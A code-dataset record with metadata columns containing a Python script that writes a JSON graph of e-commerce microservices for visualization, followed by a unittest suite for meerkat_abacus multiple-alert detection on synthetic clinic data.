0
0
0
0
0.995362
0.995362
0
1
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
0
0
0
0
0
0
1
1
null
1
0
0
0
0
0
1
0
1
0
1
0
0
11
24506846e4de0a2cc42b5e126f95ed130c8c9a75
14,652
py
Python
app/create_json_ecommerce_availability.py
wbj218/microVisualization
7fa1b71a81fa77c7708fe44c32ad5bbf7864acfc
[ "MIT" ]
null
null
null
app/create_json_ecommerce_availability.py
wbj218/microVisualization
7fa1b71a81fa77c7708fe44c32ad5bbf7864acfc
[ "MIT" ]
3
2021-05-11T15:11:29.000Z
2022-02-13T14:07:47.000Z
app/create_json_ecommerce_availability.py
Wzz917/Microservices-Visualization
40ba4bf1ffee66915b98566b4ef4b815119b798a
[ "MIT" ]
null
null
null
##!/usr/bin/env python """ Example of creating a radar chart (a.k.a. a spider or star chart) [1]_. Although this example allows a frame of either 'circle' or 'polygon', polygon frames don't have proper gridlines (the lines are circles instead of polygons). It's possible to get a polygon grid by setting GRIDLINE_INTERPOLATION_STEPS in matplotlib.axis to the desired number of vertices, but the orientation of the polygon is not aligned with the radial axes. .. [1] http://en.wikipedia.org/wiki/Radar_chart """ from __future__ import with_statement import numpy as np import sys import Image f = open('inputs/'+sys.argv[1], 'w') f.write('{\n"arch":"e-commerce",\n"date":"2016-04-17T13:46:56.330297532-07:00",\n "graph":[\n {"node":"e-commerce.complete.zone0.client","package":"webserver","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n {"node":"e-commerce.complete.zone0.load_balancer","package":"logic","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') for j in xrange(0,3): for i in xrange(0,int(sys.argv[2])): f.write('{"node":"e-commerce.complete.zone'+str(j)+'.frontend'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.orders'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.ComposeLandingPage'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.search'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.discounts'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.media'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.catalogue'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.memcached_inventory'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.mongodb_inventory'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.login'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.sessionID'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.AccountInfo'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.AccountInfoDB'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.Shipping'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.mongodb_delivery'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.OrderQueue'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.QueueMaster'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.memcached_orders'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.mongodb_orders'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.payment'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.transactionID'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.Authorization'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.Invoicing'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.recommendations'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.utilityMatrix'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.memcached_recommendations'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.wishlist'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.cart'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"node":"e-commerce.complete.zone'+str(j)+'.mongodb_cart'+str(i)+'","package":"db","timestamp":"2016-04-17T13:46:56.329529972-07:00","metadata":"IP/54.198.0.1"},\n') f.write('{"edge":"e1","source":"e-commerce.complete.zone0.client","target":"e-commerce.complete.zone0.load_balancer","bidirectional":"no","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') for j in xrange(0,3): for i in xrange(0,int(sys.argv[2])): f.write('{"edge":"e2","source":"e-commerce.complete.zone0.load_balancer","target":"e-commerce.complete.zone'+str(j)+'.frontend'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.frontend'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.ComposeLandingPage'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.frontend'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.recommendations'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.frontend'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.search'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.frontend'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.login'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.frontend'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.orders'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.frontend'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.cart'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.recommendations'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.utilityMatrix'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.recommendations'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.memcached_recommendations'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.ComposeLandingPage'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.search'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.ComposeLandingPage'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.discounts'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.ComposeLandingPage'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.media'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.ComposeLandingPage'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.catalogue'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.catalogue'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.memcached_inventory'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.catalogue'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.mongodb_inventory'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.catalogue'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.search'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.login'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.sessionID'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.login'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.AccountInfo'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.AccountInfo'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.AccountInfoDB'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.orders'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.Shipping'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.orders'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.QueueMaster'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.orders'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.memcached_orders'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.orders'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.mongodb_orders'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.Shipping'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.OrderQueue'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.Shipping'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.mongodb_delivery'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.QueueMaster'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.OrderQueue'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.orders'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.payment'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.orders'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.cart'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.payment'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.Invoicing'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.payment'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.transactionID'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.payment'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.Authorization'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.cart'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.wishlist'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write('{"edge":"e2","source":"e-commerce.complete.zone'+str(j)+'.cart'+str(i)+'","target":"e-commerce.complete.zone'+str(j)+'.mongodb_cart'+str(i)+'","bidirectional":"yes","timestamp":"2016-04-17T13:46:56.330250819-07:00"},\n') f.write(']\n}\n') f.close()
151.051546
401
0.643939
2,309
14,652
4.074924
0.067129
0.095653
0.178871
0.209799
0.938463
0.932618
0.920289
0.919651
0.916569
0.867148
0
0.146977
0.048526
14,652
96
402
152.625
0.527939
0.034262
0
0.053333
0
0.866667
0.758009
0.683403
0
0
0
0
0
1
0
false
0
0.053333
0
0.053333
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
1
0
0
0
0
0
1
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
11
79edea31d0ac5e399525f769ce7bb7ade29b13b4
21,827
py
Python
meerkat_abacus/pipeline_worker/tests/test_add_multiple_alerts.py
who-emro/meerkat_abacus
6c455f1c0885827d442d66e18532664cf1611fb4
[ "MIT" ]
null
null
null
meerkat_abacus/pipeline_worker/tests/test_add_multiple_alerts.py
who-emro/meerkat_abacus
6c455f1c0885827d442d66e18532664cf1611fb4
[ "MIT" ]
9
2017-01-25T09:40:38.000Z
2018-04-13T12:44:41.000Z
meerkat_abacus/pipeline_worker/tests/test_add_multiple_alerts.py
meerkat-code/meerkat_abacus
6c455f1c0885827d442d66e18532664cf1611fb4
[ "MIT" ]
null
null
null
import unittest from unittest import mock from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker from datetime import datetime from meerkat_abacus import model from meerkat_abacus.pipeline_worker.process_steps import add_multiple_alerts from meerkat_abacus.pipeline_worker.process_steps import write_to_db from meerkat_abacus.consumer.database_setup import create_db from meerkat_abacus.config import config class TestAddMultipleAlerts(unittest.TestCase): def setUp(self): create_db(config.DATABASE_URL, drop=True) engine = create_engine(config.DATABASE_URL) model.form_tables(config) model.Base.metadata.create_all(engine) self.engine = create_engine(config.DATABASE_URL) Session = sessionmaker(bind=self.engine) self.session = Session() def test_app_multiple_alerts(self): existing_raw_data = [ { "uuid": "a", "data": { "SubmissionDate": "2017-06-10", "end": "2017-06-10", "pt1./gender": "male", "pt1./age": 32 } }, { "uuid": "b", "data": { "SubmissionDate": "2017-06-10", "end": "2017-06-10", "pt1./gender": "male", "pt1./age": 32 } }, { "uuid": "c", "data": { "SubmissionDate": "2017-06-10", "end": "2017-06-10", "pt1./gender": "male", "pt1./age": 32 } } ] existing_data = [ { "clinic": 1, "uuid": "a", "type": "case", "date": datetime(2017, 6, 10), "variables": { "cmd_1": 1 } }, { "clinic": 1, "uuid": "b", "type": "case", "date": datetime(2017, 6, 10), "variables": { "cmd_1": 1 } }, { "clinic": 1, "uuid": "c", "type": "case", "date": datetime(2017, 6, 10), "variables": { "cmd_1": 1 } } ] table = model.form_tables(config)["demo_case"] con = self.engine.connect() con.execute(table.__table__.insert(), existing_raw_data) con.execute(model.Data.__table__.insert(), existing_data) variable = model.AggregationVariables( id="cmd_1", method="match", db_column="icd_code", type="case", condition="A00", category=[], alert=1, alert_type="threshold:3,5", form="demo_case") self.session.add(variable) self.session.commit() add_alerts = add_multiple_alerts.AddMultipleAlerts(config, self.session) new_data = { "clinic": 1, "uuid": "c", "date": datetime(2017, 6, 10), "variables": { "cmd_1": 1 } } add_alerts.start_step() results = [] for d in existing_data: results += add_alerts.run("data", d) add_alerts.end_step(3) self.assertEqual(len(results), 3) self.assertEqual(len(add_alerts.found_uuids), 3) for result in results: if result["data"]["uuid"] == "a": self.assertIn("alert", result["data"]["variables"]) self.assertIn("alert_id", result["data"]["variables"]) else: self.assertNotIn("alert", result["data"]["variables"]) self.assertNotIn("alert_id", result["data"]["variables"]) self.assertEqual(result["data"]["variables"]["sub_alert"], 1) self.assertEqual(result["data"]["variables"]["master_alert"], "a") db_writer = write_to_db.WriteToDb(config, self.session) db_writer.engine = self.engine db_writer.start_step() for r in results: db_writer.run(r["form"], r["data"]) db_writer.end_step(3) additional_data = [ { "clinic": 1, "uuid": "d", "type": "case", "date": datetime(2017, 6, 10), "variables": { "cmd_1": 1 } } ] additional_raw_data = [ { "uuid": "d", "data": { "SubmissionDate": "2017-06-10", "end": "2017-06-10", "pt1./gender": "male", "pt1./age": 32 } } ] con.execute(table.__table__.insert(), additional_raw_data) con.execute(model.Data.__table__.insert(), additional_data) add_alerts.start_step() results = add_alerts.run("data", new_data) self.assertEqual(len(results), 4) for result in results: if result["data"]["uuid"] == "a": self.assertIn("alert", result["data"]["variables"]) self.assertIn("alert_id", result["data"]["variables"]) else: self.assertNotIn("alert", result["data"]["variables"]) self.assertNotIn("alert_id", result["data"]["variables"]) self.assertEqual(result["data"]["variables"]["sub_alert"], 1) self.assertEqual(result["data"]["variables"]["master_alert"], "a") class TestAlertTypes(unittest.TestCase): def setUp(self): create_db(config.DATABASE_URL, drop=True) engine = create_engine(config.DATABASE_URL) model.form_tables(config) model.Base.metadata.create_all(engine) self.engine = create_engine(config.DATABASE_URL) Session = sessionmaker(bind=self.engine) self.session = Session() year = 2014 self.year = year self.threshold = [ model.Data( date=datetime(year, 1, 3), clinic=6, uuid="1", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 3), clinic=6, uuid="2", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 3), clinic=6, uuid="3", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 10), clinic=6, uuid="4", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 10), clinic=6, uuid="5", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 11), clinic=6, uuid="6", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 11), clinic=6, uuid="7", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 12), clinic=6, uuid="8", variables={"cmd_1": 1}), ] self.double = [ model.Data( date=datetime(year, 1, 3), epi_year=year, epi_week=1, clinic=6, uuid="1", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 3), epi_year=year, epi_week=1, clinic=6, uuid="2", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 10), epi_year=year, epi_week=2, clinic=6, uuid="3", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 10), epi_year=year, epi_week=2, clinic=6, uuid="4", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 10), epi_year=year, epi_week=2, clinic=6, uuid="5", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 10), epi_year=year, epi_week=2, clinic=6, uuid="6", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=3, clinic=6, uuid="7", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=3, clinic=6, uuid="8", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=3, clinic=6, uuid="9", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=3, clinic=6, uuid="10", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=3, clinic=6, uuid="11", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=3, clinic=6, uuid="12", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=3, clinic=6, uuid="13", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=3, clinic=6, uuid="14", variables={"cmd_1": 1}), ] self.double_wrong_clinic = [ model.Data( date=datetime(year, 1, 3), epi_year=year, epi_week=1, clinic=6, uuid="1", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 3), epi_year=year, epi_week=1, clinic=7, uuid="2", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 10), epi_year=year, epi_week=2, clinic=6, uuid="3", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 10), epi_year=year, epi_week=2, clinic=6, uuid="4", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 10), epi_year=year, epi_week=2, clinic=6, uuid="5", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 10), epi_year=year, epi_week=2, clinic=6, uuid="6", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=3, clinic=6, uuid="7", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=3, clinic=6, uuid="8", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=3, clinic=6, uuid="9", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=3, clinic=6, uuid="10", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=3, clinic=6, uuid="11", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=3, clinic=6, uuid="12", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=3, clinic=6, uuid="13", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=3, clinic=6, uuid="14", variables={"cmd_1": 1}), ] self.double_new_year = [ model.Data( date=datetime(year, 1, 3), epi_year=year - 1, epi_week=52, clinic=6, uuid="1", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 3), epi_year=year - 1, epi_week=52, clinic=6, uuid="2", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 10), epi_year=year, epi_week=1, clinic=6, uuid="3", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 10), epi_year=year, epi_week=1, clinic=6, uuid="4", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 10), epi_year=year, epi_week=1, clinic=6, uuid="5", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 10), epi_year=year, epi_week=1, clinic=6, uuid="6", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=2, clinic=6, uuid="7", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=2, clinic=6, uuid="8", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=2, clinic=6, uuid="9", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=2, clinic=6, uuid="10", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=2, clinic=6, uuid="11", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=2, clinic=6, uuid="12", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=2, clinic=6, uuid="13", variables={"cmd_1": 1}), model.Data( date=datetime(year, 1, 17), epi_year=year, epi_week=2, clinic=6, uuid="14", variables={"cmd_1": 1}), ] self.session.commit() def tearDown(self): self.session.commit() self.session.close() def test_threshold(self): self.session.query(model.Data).delete() self.session.commit() self.session.bulk_save_objects(self.threshold) self.session.commit() new_alerts = add_multiple_alerts.threshold("cmd_1", "threshold:3,5", datetime(self.year, 1, 3), 6, self.session) self.assertEqual(len(new_alerts), 1) self.assertEqual(new_alerts[0]["duration"], 1) self.assertEqual(sorted(new_alerts[0]["uuids"]), ["1", "2", "3"]) self.assertEqual(new_alerts[0]["clinic"], 6) self.assertEqual(new_alerts[0]["reason"], "cmd_1") new_alerts = add_multiple_alerts.threshold("cmd_1", "threshold:3,5", datetime(self.year, 1, 11), 6, self.session) self.assertEqual(len(new_alerts), 1) self.assertEqual(new_alerts[0]["duration"], 7) self.assertEqual( sorted(new_alerts[0]["uuids"]), ["4", "5", "6", "7", "8"]) self.assertEqual(new_alerts[0]["clinic"], 6) self.assertEqual(new_alerts[0]["reason"], "cmd_1") def test_double_double(self): self.session.query(model.Data).delete() self.session.commit() self.session.bulk_save_objects(self.double_wrong_clinic) self.session.commit() new_alerts = add_multiple_alerts.double_double("cmd_1", 1, self.year, 6, self.engine) self.assertEqual(len(new_alerts), 0) self.session.query(model.Data).delete() self.session.commit() self.session.bulk_save_objects(self.double) self.session.commit() new_alerts = add_multiple_alerts.double_double("cmd_1", 1, self.year, 6, self.engine) self.assertEqual(len(new_alerts), 1) self.assertEqual(new_alerts[0]["duration"], 7) self.assertEqual( sorted(new_alerts[0]["uuids"]), sorted(["7", "8", "9", "10", "11", "12", "13", "14"])) self.assertEqual(new_alerts[0]["clinic"], 6) self.assertEqual(new_alerts[0]["reason"], "cmd_1") # sert False to_delete = self.session.query(model.Data).filter(model.Data.uuid == "1").one() self.session.delete(to_delete) self.session.commit() # With only one entry for the first week, we should not create an alert new_alerts = add_multiple_alerts.double_double("cmd_1", 1, self.year, 6, self.engine) self.assertEqual(len(new_alerts), 0) def test_double_double_corner_cases(self): self.session.query(model.Data).delete() self.session.commit() self.session.bulk_save_objects(self.double_new_year) self.session.commit() for week in [52, 1, 2]: year = self.year if week == 52: year = year - 1 new_alerts = add_multiple_alerts.double_double("cmd_1", week, year, 6, self.engine) self.assertEqual(len(new_alerts), 1) self.assertEqual(new_alerts[0]["duration"], 7) self.assertEqual( sorted(new_alerts[0]["uuids"]), sorted(["7", "8", "9", "10", "11", "12", "13", "14"])) self.assertEqual(new_alerts[0]["clinic"], 6) self.assertEqual(new_alerts[0]["reason"], "cmd_1") if __name__ == "__main__": unittest.main()
33.892857
87
0.400788
2,046
21,827
4.114858
0.07869
0.031358
0.034446
0.09146
0.825989
0.802946
0.801639
0.797363
0.771826
0.760542
0
0.05696
0.477986
21,827
643
88
33.945568
0.681938
0.003665
0
0.809917
0
0
0.06112
0
0
0
0
0
0.061157
1
0.01157
false
0
0.016529
0
0.031405
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
0304b254c4dd762e3a9c889f0fef12eebbe79831
94
py
Python
slam_recognition/util/relativity/__init__.py
SimLeek/pySILEnT
feec2d1fb654d7c8dc25f610916f4e9b202a1092
[ "Apache-2.0", "MIT" ]
5
2018-11-18T17:35:59.000Z
2019-02-13T20:25:58.000Z
slam_recognition/util/relativity/__init__.py
SimLeek/slam_recognition
feec2d1fb654d7c8dc25f610916f4e9b202a1092
